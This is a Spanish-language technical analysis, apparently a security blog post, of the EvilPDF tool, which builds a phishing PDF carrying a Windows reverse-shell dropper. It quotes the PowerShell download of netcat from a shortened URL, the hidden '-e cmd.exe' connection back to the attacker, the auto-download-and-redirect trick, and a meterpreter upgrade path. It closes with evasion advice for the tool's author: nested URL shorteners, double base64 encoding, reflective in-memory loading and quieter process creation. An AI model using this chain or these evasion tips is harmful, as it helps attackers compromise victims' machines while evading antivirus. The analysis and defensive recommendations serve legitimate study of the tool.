Análisis de la herramienta EvilPDF

Descripción e instalación de EvilPDF

Vamos a estudiar el funcionamiento de esta herramienta, la cual proporciona al usuario el poder embeber un archivo ejecutable en un documento PDF. En su repositorio de Github se define así, aunque realmente no es la definición más ajustada, como veremos a lo largo del análisis. La herramienta la podemos encontrar en su repositorio de github.

https://github.com/JAYMONSECURITY/evilpdf

Como podemos ver a continuación, el proyecto consta de varios archivos, entre los que destacan:

• “adobe.pdf”: utilizado como archivo PDF por defecto.
• “source.c”: se trata del código fuente del malware que será embebido en el archivo PDF.
• “template.html”: se trata de la web que será visitada para llamar a la autodescarga del malware.
• “evilpdf.py”: se trata del archivo principal desde donde se configurarán todos los parámetros para obtener el fichero PDF final con el ejecutable embebido.

Vamos manos a la obra y lo primero que vamos a hacer es seguir las instrucciones para descargar “evilPDF” en nuestra máquina Kali Linux, instalar los componentes que sean necesarios para su ejecución, y finalmente ejecutarlo para ver su correcto funcionamiento.

Como podemos observar hemos instalado la herramienta correctamente y ya podemos ejecutarla sin problemas.

Configuración y estudio

Antes de proceder a la ejecución y configuración de los parámetros, para obtener el PDF final con el “ejecutable malicioso embebido”, vamos a fijarnos en los archivos que tenemos ahora mismo en el directorio. Esto es importante porque posterior a la ejecución de la herramienta podremos ver cómo se han creado nuevos archivos que serán objeto de estudio.

Una vez observados los archivos, pasamos a conocer nuestra dirección IP para poder configurar la herramienta tras su ejecución.

Ahora ya podemos proceder al lanzamiento y configuración de la herramienta como sigue a continuación, empleando para esta PoC los valores que vienen por defecto.

Como podemos observar en la imagen anterior, hemos utilizado el PDF por defecto “adobe.pdf” que viene en el repositorio, para hacer esta prueba de concepto (PoC). Al ejecutable malicioso se le llamará por defecto “getadobe”, una vez sea compilado el archivo “source.c” con los parámetros que vienen a continuación. En LHOST hemos introducido la dirección IP de nuestra máquina atacante, que será donde recibamos la shell inversa de la máquina víctima. Hemos optado por usar el puerto 80 (HTTP) para la conexión inversa ya que normalmente está abierto en los firewalls, y así nos garantizamos a un alto porcentaje que la intrusión en la máquina víctima tenga éxito. En cuanto a la URL que será lanzada tras la ejecución del archivo PDF malicioso, dejamos por defecto la de la web oficial de adobe.

Una vez establecidos todos los parámetros, la herramienta pasa a construir el malware mediante la compilación del archivo “source.c” que veremos más adelante. Posteriormente pasa el binario compilado (exe) a base64 para poderlo embeber en “page.html”. Finalmente, se embebe “page.html” (que contiene el binario malicioso embebido en su código fuente), en el archivo PDF. En este momento el archivo malicioso PDF ya ha sido creado. Ahora se comprime el archivo PDF (“adobe.pdf”) en “zip”, y se convierte dicho archivo comprimido a base64 para embeberlo en “index.html”, empleando como plantilla “template.html”. Una vez realizado esto se procede a poner a la escucha el puerto 80 para poder recibir la shell de comandos de la máquina víctima, una vez el usuario haya ejecutado nuestro PDF malicioso.

Aquí podemos ver cómo se han creado los nuevos archivos ya comentados anteriormente, durante el lanzamiento de la herramienta. Durante la ejecución de la herramienta, se crean nuevos archivos que se autoeliminan una vez hayan cumplido sus objetivos, como por ejemplo el código fuente “rs.c”, que no es más que el mismo código fuente de “source.c” pero con los parámetros de IP y PORT establecidos por el usuario; y el binario “getadobe.exe” que es el resultado de compilar “rs.c”

Siempre es buena práctica el comprobar que efectivamente el puerto donde debemos recibir la conexión inversa de la víctima, está esperando la conexión en modo “escucha”:

Ejecución y estudio de EvilPDF

Llegados a este punto bien podemos pasar el archivo PDF malicioso a la máquina víctima directamente mediante el uso de dispositivos de almacenamiento, o bien podemos construir un vector de ataque empleando ingeniería social para llevar a cabo un ataque de phishing, por el que la víctima llegue a pulsar un botón que le lleve a un enlace donde apunte hacia el servidor web atacante, preparado para realizar la auto-descarga del malware. Para ello tendremos que habilitar nuestra máquina atacante como servidor web, para permitir que la víctima se conecte vía web y descargue el malware.

Para llevar a cabo esto, basta con ejecutar el comando que la propia herramienta nos proporciona al lanzamiento del “listener”, como vemos a continuación. Importante lanzar el comando colocados bajo el mismo directorio donde está el malware generado, ya que montará ahí el servidor web y el objetivo es que el malware esté accesible al exterior. Al visitar “http://192.168.222.128:3333” podemos ver la petición al servidor (encuadrada en azul). Veremos más adelante qué sucede al visitar esta URL, además de un breve estudio de la captura de paquetes de red con Wireshark.

Como buena práctica, comprobamos que el puerto 3333 está a la escucha:

Ahora imaginemos que realizamos un ataque de “phishing” a una víctima, y ésta, al recibir el correo electrónico, pulsa sobre el botón “trampa” y le lleva a realizar una petición tipo GET vía HTTP a la web “http://192.168.222.128:3333” . Al visitar la web, lo primero que vemos es que se nos abre una ventana de descarga de un archivo comprimido en “zip”, e incluso dependiendo del navegador se realiza la autodescarga directamente sin previo aviso.

Y en cuestión de mili segundos, casi imperceptible, se redirecciona a la web oficial de adobe para que la víctima piense que se trata de una descarga legítima.

Una vez la víctima haya descargado el archivo comprimido, podemos observar que al descomprimirlo se obtiene un archivo PDF.

Al ejecutar dicho archivo PDF, vemos que se nos advierte de que contiene un archivo llamado “page.html” y que puede ser malicioso. Procedemos a abrir el archivo y vemos qué sucede a continuación.

Al haber aceptado el abrir el archivo PDF que contiene “page.html”, vemos que nos abre una URL en nuestro navegador y nos lleva directamente a una autodescarga de un binario llamado “getadobe.exe”. Procedemos a guardarlo en nuestro directorio de descargas como vemos a continuación. Importante observar cómo tras la llamada a la autodescarga del binario embebido en “page.html”, se llama a la URL de la web oficial de adobe nuevamente.

Una vez guardado, procedemos a su ejecución y vemos cómo recibimos la shell de comandos de la máquina víctima, en el puerto 80 de nuestra máquina atacante.

Se ha cumplido el objetivo sin novedad.

Estudio en detalle del código fuente

Ahora vamos a pasar a estudiar más en detalle el código fuente de la herramienta.

a) Analizando el archivo ejecutor “evilpdf.py”.

Vamos a dar paso primeramente, al análisis de “evilpdf.py”, escrito en Python. Se trata del ejecutor principal. Como podemos ver a continuación consta de varios módulos.

Primeramente podemos observar cómo se hace una comprobación para ver si están instaladas en el sistema distintas herramientas, necesarias para la correcta ejecución de los distintos módulos que consta evilPDF. Estas herramientas son “base64” (para codificar archivos y poderlos embeber en páginas html), “zip” (para comprimir archivos en este caso particular), “nc” (para poner a la escucha el puerto donde se recibirá la shell de comandos de la víctima), “php” (para levantar un servidor web al que se conectará la víctima para autodescargase el malware), y “i686-w64-mingw32-cc” (compilador de lenguaje “C” para sistemas Windows de 64bits).

Además, en la parte final de la imagen anterior también se puede ver la función que abrirá “adobe.pdf” en binario para su lectura (“rb”) y posterior escritura (“PdfFileWriter”), mediante la cual embeberá “page.html” en su código fuente.

En la siguiente imagen podemos ver la llamada al sistema que se encargará de compilar el archivo “rc.c”, resultado de introducir los parámetros de puerto (payload_port) y dirección IP atacante (payload_server) en el código fuente del archivo “source.c”. El resultado de la compilación tendrá el nombre por defecto de “getadobe.exe”, contenido en la variable “payload_name”. El resultado será el binario malicioso para Windows 64bits, que ejecutará una shell inversa en la máquina víctima, dando el control de la shell de comandos de dicha máquina al atacante.

Una vez obtenido el binario malicioso, vemos cómo lo convierte a base64 y lo guarda en el archivo “b64”, para posteriormente embeberlo en el código html del archivo “page.html”.

Vemos que tras el primer condicional “if”, nos encontramos un “else”, ya que si en los parámetros de configuración hemos introducido un malware propio compilado (exe) situado en una ruta distinta, pasa directamente a convertirlo en base64 para posterior procesamiento.

En la última parte de la imagen podemos ver cómo embebe el binario en base64 en el archivo “page.html”, empleando el archivo “template.html” para la sustitución de parámetros internos mediante el uso del comando “sed”.

En otra parte de la función, vemos cómo tras crearse el PDF malicioso con “page.html” embebido, se comprime en un archivo “zip”, y posteriormente este archivo comprimido se convierte a base64, guardando el resultado en el archivo “b64”. Finalmente, el contenido de este último archivo es embebido en “index.html”. Podemos ver cómo a través del comando “sed” se procede a reemplazar un texto específico por otro en el archivo “template.html”, y el resultado lo guarda en un nuevo archivo hasta el momento inexistente llamado “index.html”.

Archivo “b64” con archivo “adobe.zip” convertido en base64.

En la siguiente imagen vemos que se emplea la herramienta “nc” para poner a la escucha el puerto (80) anteriormente definido en los parámetros, contenido en la variable “payload_port”, para poder recibir la shell inversa cuando la víctima ejecute el PDF malicioso.

b) Analizando el archivo “source.c”, “rc.c”, “b.ps1” y “a.exe”.

Estos cuatro archivos los vamos a analizar en el mismo apartado porque todos comparten la misma raíz: “source.c”.

A continuación vamos a ver el contenido del archivo “source.c”. Como podemos ver se trata de un código escrito en lenguaje C muy sencillito, para la ejecución en sistemas Windows. Únicamente realiza una llamada al sistema a través de la función “system()” definida en la librería “windows.h”, mediante la cual obtiene mismos resultados que la ejecución de comandos directos en el terminal del sistema (“cmd.exe”).

Primeramente crea el directorio “temp” en la raíz del sistema Windows de la víctima (“c:\”). Una vez creado el directorio procede a crear el archivo “b.ps1” con el siguiente contenido:

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12

(wget ‘https://tinyurl.com/y88r9epk’ -OutFile c:\temp\a.exe)

Una vez creado el archivo “b.ps1” procede a su ejecución mediante “powershell”. Tras la ejecución se descargará en la máquina víctima, en el directorio “c:\temp\” el ejecutable “a.exe”, y se ejecutará mediante el comando “start /MIN” (para realizar una ejecución con pantalla minimizada que pase más desapercibido al ojo de la víctima), con los parámetros de payload_server correspondiente a la IP 192.168.222.128 perteneciente a la máquina atacante, y “payload_port” correspondiente al puerto 80 a la escucha en la máquina atacante, más los flags “-e cmd.exe –d”. Sacamos la conclusión de que “a.exe” realmente es un “netcat” con distinto nombre, y lo que hace no es más que realizar una conexión al puerto 80 de la máquina atacante cediendo la shell de comandos (“cmd.exe”) de la máquina víctima. No obstante, esto lo analizaremos más adelante.

Código fuente de “rc.c”, mismo que “source.c” pero con los parámetros IP y puerto ya establecidos.

Tras desamblar el binario “getadobe.exe”, producto de compilar el archivo “rc.c”, vemos perfectamente las instrucciones descritas anteriormente.

En la siguiente imagen podemos observar la creación del directorio “temp”, el archivo “b.ps1” y la descarga mediante el comando “wget” del binario “a.exe”, que se trata de “netcat”. Es curioso ver que emplea HTTPS para la descarga de “a.exe”, por protocolo seguro con TLS para evadir posibles sistemas antivirus, ya que la descarga se realizará cifrada.

A modo de curiosidad podemos ver el servicio que utiliza la herramienta para enmascarar la URL.

Si analizamos la URL acortada, mediante el servicio que proporciona “getlinkinfo.com” para ver la URL original, vemos que efectivamente la URL apunta a la descarga desde github de “nc.exe”.

Una vez descargado “nc.exe” y guardado en el directorio “c:/temp” como “a.exe”; Si ejecutamos “a.exe” vemos que presenta misma interfaz que “netcat”, y si lo subimos a “virustotal.com” para realizarle un análisis rápido, podemos observar que varios motores de antivirus lo califican como “netcat”.

c) Analizando el archivo “page.html”.

A continuación vamos a ver el código fuente de “page.html”. Como podemos observar tiene embebido en base64 un archivo ejecutable. Esto lo sabemos por los “magic numbers” correspondientes en base64 a archivos binarios (“TVqQAAMAAAEAAAA//…”).

Vemos cómo al abrirse “page.html”, se autodescarga el binario “getadobe.exe” embebido. Posteriormente a la descarga, se realiza una redirección a la web https://get.adobe.com/flashplayer/ para pasar desapercibida la actividad maliciosa.

d) Analizando el archivo “index.html”.

A continuación vamos a ver el código fuente de “index.html”. Como podemos observar tiene embebido en base64 un archivo comprimido “zip”. Esto lo sabemos por los “magic numbers” correspondientes en base64 a archivos “zip”. (“UEsDBBQAAAAIAK5i…”).

De la misma manera que “page.html”, se realiza la autodescarga del archivo comprimido en “zip”, y acto seguido se procede a redireccionar la web a https://get.adobe.com/flashplayer/ para pasar desapercibida la actividad maliciosa. Es lógico que tanto “page.html” como “index.html” ejecuten acciones de la misma manera, ya que ambos han sido creados a partir del archivo “template.html”.

e) Analizando el archivo “template.html”.

Como vemos a continuación, este archivo constituye la base de los dos anteriores estudiados: “page.html” y “index.html”. A partir de este archivo se reemplazan los textos de “data_base64” y “payload_name” para crear los archivos ya mencionados.

f) Análisis estático del archivo “adobe.pdf”.

Tras la ejecución de “evilpdf” obtenemos el archivo “adobe.pdf”, el cual es sin duda el principal motor ejecutor que desencadena en efecto dominó, las llamadas al resto de los archivos generados por la herramienta, embebidos unos en otros.

Si abrimos el archivo “adobe.pdf” para su lectura e hexadecimal, podemos observar tramos muy interesantes donde se puede ver embebido el archivo “page.html”. Además vemos que se llama a la ejecución de “page.html” mediante el uso de JavaScript con la instrucción “OpenAction”.

Si continuamos buscando en el archivo hacia abajo, nos encontramos con el archivo embebido en base64 en “page.html”. Primeramente, vemos en el recuadro verde la función de redirección a la web de adobe. Posteriormente, vemos en el recuadro rojo final el binario embebido, que se trata de un ejecutable por sus “magic numbers”, como ya hemos visto anteriormente. Se trata de “getadobe.exe”.

Si continuamos hasta finalizar los caracteres de base64, podemos ver cómo efectivamente se trata de “getadobe.exe”.

Resumen: visualización global del análisis

Llegados a este punto, ya tenemos nuestra visualización global del funcionamiento del montaje del malware que realiza la herramienta. Gráficamente lo podríamos describir con la siguiente imagen:

De esta manera podemos decir que:

1. “index.html”: contiene “adobe.zip” embebido. Realiza la descarga nada más se visite la web “http://192.168.222.128:3333”.
2. “adobe.zip”: contiene “adobe.pdf”. Se extrae manualmente por el usuario víctima.
3. “adobe.pdf”: contiene “page.html”, que es ejecutada cuando se abre “adobe.pdf”.
4. “page.html”: contiene “getadobe.exe” embebido. Al abrirse “page.html” llama a la descarga de “getadobe.exe”.
5. “getadobe.exe“: al ser ejecutado crea el archivo “b.ps1”. Una vez lo ha creado, lo ejecuta con powershell.
6. “b.ps1”: al ser ejecutado procede a descargar de https://tinyurl.com/y88r9epk el archivo “a.exe”.
7. “a.exe”: se trata de “netcat”, el cual es empleado para realizar la conexión inversa a la máquina atacante cediendo al atacante la shell de comandos de la máquina víctima.

Análisis del tráfico de red con Wireshark

a) Tráfico de red durante la fase de propagación (“delivery”).

A continuación vamos a estudiar únicamente el tráfico de red generado cuando la víctima pulsa en el botón del correo electrónico “phishing” que el atacante le ha enviado, engañándole con ingeniería social.

Al pulsar el botón, éste le lleva al enlace http://192.168.222.128:3333. En ese momento la víctima ejecuta vía web el archivo “index.html” estudiado anteriormente.

Como podemos ver en la siguiente imagen, el código de la web se lee perfectamente ya que no presenta ningún tipo de cifrado. En este código vemos cómo se le autodescarga a la víctima el archivo comprimido “adobe.zip”, embebido en base64 en “index.html”. Y acto seguido se redirige la web mediante la instrucción “location.replace” a https://get.adobe.com/flashplayer/.

No vamos a estudiar el tráfico de red generado por “page.html” porque al estar embebido en el propio archivo “adobe.pdf” que está en la propia máquina víctima, se entiende que “page.html” no genera tráfico de red fuera de la propia máquina víctima (localhost).

Tampoco vamos a estudiar el tráfico de red generado por la ejecución del archivo “b.ps1”al descargar de “Github” el archivo ejecutable “nc.exe”, porque queda claro que el tráfico viaja cifrado por HTTPS, y además porque queda clara la acción que realiza.

b) Tráfico de red durante la fase de explotación.

Llegados a este punto, nos vamos a situar en el momento de la explotación, es decir, cuando el atacante ha recibido ya la shell de comandos de la máquina víctima y procede a ejecutar comandos remotos.

Como podemos ver en la siguiente imagen, todos los comandos lanzados por el atacante, y toda la información recibida de la máquina víctima viaja en texto claro por la red. Esto es importante ya que cualquier otro atacante situado bajo la misma red, podría capturar información confidencial mediante un ataque de Man In The Middle (MITM).

Para evitar que el tráfico viaje en claro, manteniendo mismas funcionalidades de conexión que “netcat”, la solución más fácil sería el emplear “cryptcat”, ya que con “cryptcat” la información viaja cifrada por la red.

Curiosidades y consideraciones

a) “Evilpdf” armado con meterpreter.

Quizás alguien se haya realizado la pregunta de por qué conformarse con una shell de comandos convencional, ¿no se podría armar el archivo PDF con un ejecutable para recibir una “reverse shell meterpreter”?

Realmente, la respuesta rápida que se me ocurre es que una shell convencional como la que nos brinda “evilpdf” con “netcat”, es más que suficiente como para elevarla a una shell tipo “meterpreter”. Únicamente deberemos preparar el escenario para recibir la shell en Metasploit a través de “exploit/multi/handler” configurado con el payload “windows/x64/shell/reverse_tcp”.

Una vez recibida la shell de comandos de la máquina víctima, para elevarla a “meterpreter” bastaría, en la gran mayoría de los casos, con lanzar el comando “sessions –u <id_sesión>”. De esta manera ya obtendríamos una shell meterpreter con la que poder aprovechar todo el potencial de los módulos de post-explotación que nos ofrece Metasploit.

Aun así, vamos a suponer que aun sabiendo lo anterior, queremos montar el PDF malicioso con un binario tipo “reverse meterpreter”. Un ejemplo rápido para montar nuestro propio malware tipo “reverse meterpreter” con “msfvenom” sería de la siguiente manera:

Una vez tengamos este malware preparado, sería tan fácil como poner su ruta en el parámetro justo de “evilpdf”, y este realizará automáticamente las instrucciones necesarias para embeberlo en el archivo PDF final.

Cabe destacar, que en el caso de emplear este malware creado con msfvenom, el cual nos daría una shell meterpreter inversa de la máquina víctima, no nos serviría la parte automática que nos brinda “evilpdf” de poner a la escucha con “netcat” el puerto donde recibir la shell de la máquina víctima, ya que al tratarse de una “meterpreter” deberíamos configurar el “exploit/multi/handler” de Metasploit, con el payload “windows/x64/meterpreter/reverse_tcp” para recibir correctamente la “shell meterpreter” de la máquina víctima, tal y como hemos configurado los parámetros de “msfvenom” para la creación del malware.

b) “Evilpdf” tiene código deshabilitado.

Como curiosidad, decir que en el código fuente de “evilpdf.py” encontramos una función que se encuentra deshabilitada:

Es curioso ver cómo hace uso del servicio que proporciona “serveo.net” creando un túnel de conexión a través de “ssh” con “TCP forwarding”. Podemos encontrar más información sobre el funcionamiento de “serveo” en su propia página web http://serveo.net.

También podemos ver cómo levanta un servidor web en la máquina atacante (localhost) en el puerto 3333, empleando “php”. Una vez realizado esto, podemos observar que procede a obtener un enlace de conexión a “serveo.net”, y posteriormente lo ofusca mediante el servicio de acortador de enlaces “bitly.com”.

Conclusiones y recomendaciones

A lo largo del análisis hemos podido comprobar lo fácil que es hoy en día el poder armar ficheros PDF maliciosos de manera automática, sin necesidad de que el atacante tenga ningún conocimiento avanzado de informática. La propia herramienta es la que se encarga de armar el malware, embeberlo al fichero PDF, y finalmente preparar el escenario para recibir el control de aquellas máquinas que ejecuten el archivo malicioso.

Queda claro que el objetivo principal de esta herramienta es el poder ejecutar malware en una máquina víctima, bypasseando sus controles de seguridad. Realmente, en un primer contacto con el archivo PDF, podemos decir que está bien conseguido. Lógicamente no alcanza a ser FUD (totalmente indetectable), ya que teniendo embebido en su código fuente un ejecutable en base64, sería bastante extraño que de todos los motores antivirus que hay en el mercado ninguno se percatase de esos “magic numbers”, pero aun así podemos ver cómo “en un primer contacto” evade gran cantidad de motores antivirus del mercado actual.

Destaco lo de “en un primer contacto” porque tras la ejecución del PDF, que puede pasar desapercibido a los antivirus, comienzan a desencadenarse varias llamadas al sistema y descargas externas de malware, que son totalmente detectables por gran cantidad de sistemas antivirus.

Ante los tipos de vectores de ataques que pueden originarse para propagar este tipo de malware, nos encontramos principalmente con dos: ingeniería social (phishing…) y medios extraíbles (USB…).

Las recomendaciones para evitar ser víctimas de un ataque de estas características, no distan mucho de las más convencionales, como vienen a ser el mantener los sistemas actualizados y bien parcheados, tener instalado y actualizado un antivirus legítimo, y tener una buena formación sobre concienciación en ciberseguridad.

Realmente la ejecución de este PDF malicioso, en un entorno empresarial donde se tienen todos los sistemas actualizados, parcheados y correctamente protegidos con un antivirus, no debería pasar ni del primer filtro, ya que sólo por el hecho de realizar una descarga en crudo de un ejecutable que toca disco, que no presenta ninguna firma digital válida, y que lo primero que realiza es una conexión directa a otra máquina sin permiso del usuario, es más que suficiente como para detectar, como mínimo, un comportamiento sospechoso e interrumpir la operación del maliciosa.

No voy a explicar en este artículo cómo podríamos obtener una operación FUD mediante el uso de esta herramienta, porque no es el objetivo de este estudio. No obstante, decir a favor del autor que “evilpdf”, con ciertas modificaciones, abre las puertas a poder realizar operaciones Red Team con vectores de ingeniería social muy potentes, por lo que es de agradecer su trabajo y esfuerzo.

Propuestas de mejoras para EvilPDF

Para que sirva de crítica constructiva al autor de “EvilPDF”, a quien le agradezco y reconozco su trabajo, considero que las siguientes modificaciones podrían mejorar sustancialmente la herramienta:

Código fuente del archivo “source.c”

El uso de la función “system()”: genera una llamada al sistema que no pasa desapercibida por los controles de seguridad. Además, se duplica la acción al emplear dicha función para luego lanzar el comando “cmd.exe /c …” con argumentos. Empleando este tipo de ejecución (“cmd.exe /c”) la acción sale del propio flujo del “proceso padre”, creando nuevos procesos en el sistema (como “cmd.exe”) que hacen saltar alarmas en sistemas de detección. Bajo la misma instrucción de “cmd.exe /c ” se ejecuta el comando “start”, cuando realmente podría afirmarse a nivel práctico que realizan la misma función. Una sencilla prueba la podríamos obtener ejecutando “cmd /c calc.exe” y “start calc.exe” desde el símbolo del sistema (“cmd.exe”), y verán mismos resultados de la ejecución. De la misma manera que “cmd.exe /c …” crea un nuevo hilo de ejecución, el comando “start” también. Por eso el autor de la herramienta ha sido cauteloso y ha añadido el flag “/MIN”, para que la ejecución mediante el comando “start” se realice de manera “minimizada” y pase desapercibida a la víctima”. En definitiva, para ser más evasivo en la detección, en lugar de usar la función “system()” considero que es mejor emplear las funciones “ShellExecute()” o “WinExec()”.

Crear directorio “temp” en “C:\”: se crea el directorio mediante el comando “mkdir c:\temp”. Lo primero de todo, el crear un directorio que no existe previamente tiene varios inconvenientes, ya que se queda un registro y además, los sistemas antivirus están monitorizando constantemente este comportamiento, que si no viene de un software legítimo con sus firmas digitales válidas, entienden que es un comportamiento sospechoso. Otro tema es el forzar a crear el directorio en la Unidad “C:\”, pero ¿qué pasaría si el usuario ha cambiado la letra de la Unidad? Entonces no se encontraría la Unidad “C:\” y no se podría crear el directorio “temp”. Mi recomendación para evitar el ser detectado por crear directorios en la Unidad raíz predefinida, es el trabajar directamente en el directorio temporal, definido en la variable global del sistema “%TEMP%”, y que apuntará al directorio adecuado y a la Unidad adecuada. Además, así nos garantizamos que el usuario víctima tiene privilegios de escritura en dicho directorio y puede crear archivos sin problemas.

La URL “tinyurl.com/y88r9epk”: es muy fácil de detectar la URL original. Recomiendo emplear “un acortador de URLs sobre otro acortador de URLs distinto”, un mínimo de dos veces para ofuscar la URL mejor, y que sea más difícil de analizar.

El uso de Powershell: es necesario para realizar la descarga del archivo por HTTPS. No obstante, tener en cuenta que hoy en día en muchas Organizaciones está muy restringido su uso e incluso deshabilitado para usuarios sin privilegios administrativos, por lo que un usuario con privilegios “normales” no podría hacer uso de él. Además, los sistemas AV (AMSI…) vigilan constantemente el uso de Powershell para evitar la ejecución de malware en memoria, que realizan conexiones entrantes y salientes al sistema víctima desde sistemas de mando y control remotos (C2), como “Empire” y otros. Mi recomendación es que no se realice una descarga de un ejecutable íntegro, sino embeberlo también como el resto de los archivos; o sino, descargar el ejecutable (exe, dll…) en archivo de texto en “doble o triple base64” para evitar los “magic numbers”. Una vez descargado en disco, ejecutarlo en memoria por reflexión para evitar detecciones.

Lanzamiento de script “b.ps1”: no siempre tiene éxito la ejecución de scripts de Powershell, por distintas medidas de los sistemas en referencia a la “ExecutionPolicy”. Es preferible lanzar las instrucciones del script en una sola línea desde el “cmd”. De esta manera también se evitará el crear el archivo “b.ps1” en el sistema, lo cual da lugar a posibles detecciones.

Aspectos generales

Al embeber archivos en base64, hemos visto que resultan “magic numbers” muy fácilmente detectables. Es por ello que recomiendo convertir a base64 un mínimo de dos veces cada archivo embebido. De esta manera evitaremos más detecciones. Hay que ser consciente que por cada conversión a base64, se duplican los caracteres, y esto hay que tenerlo en cuenta si se quiere ejecutar binarios en memoria por el tema del “buffer”, ya que este no tiene un espacio infinito y “crashea”.

Tráfico de red

Al usar “netcat” como troyano para obtener la shell inversa de la máquina víctima, vemos cómo todo el tráfico de red entre la víctima y el atacante, de manera bidireccional, viaje en texto claro. Huelga decir los peligros que ello conlleva. Es por ello que recomiendo cambiar el uso de “netcat” por “cryptcat” o “ncat” con SSL. Mi siguiente artículo será sobre el empleo y estudio de estas tres herramientas para que se vean claramente sus diferencias.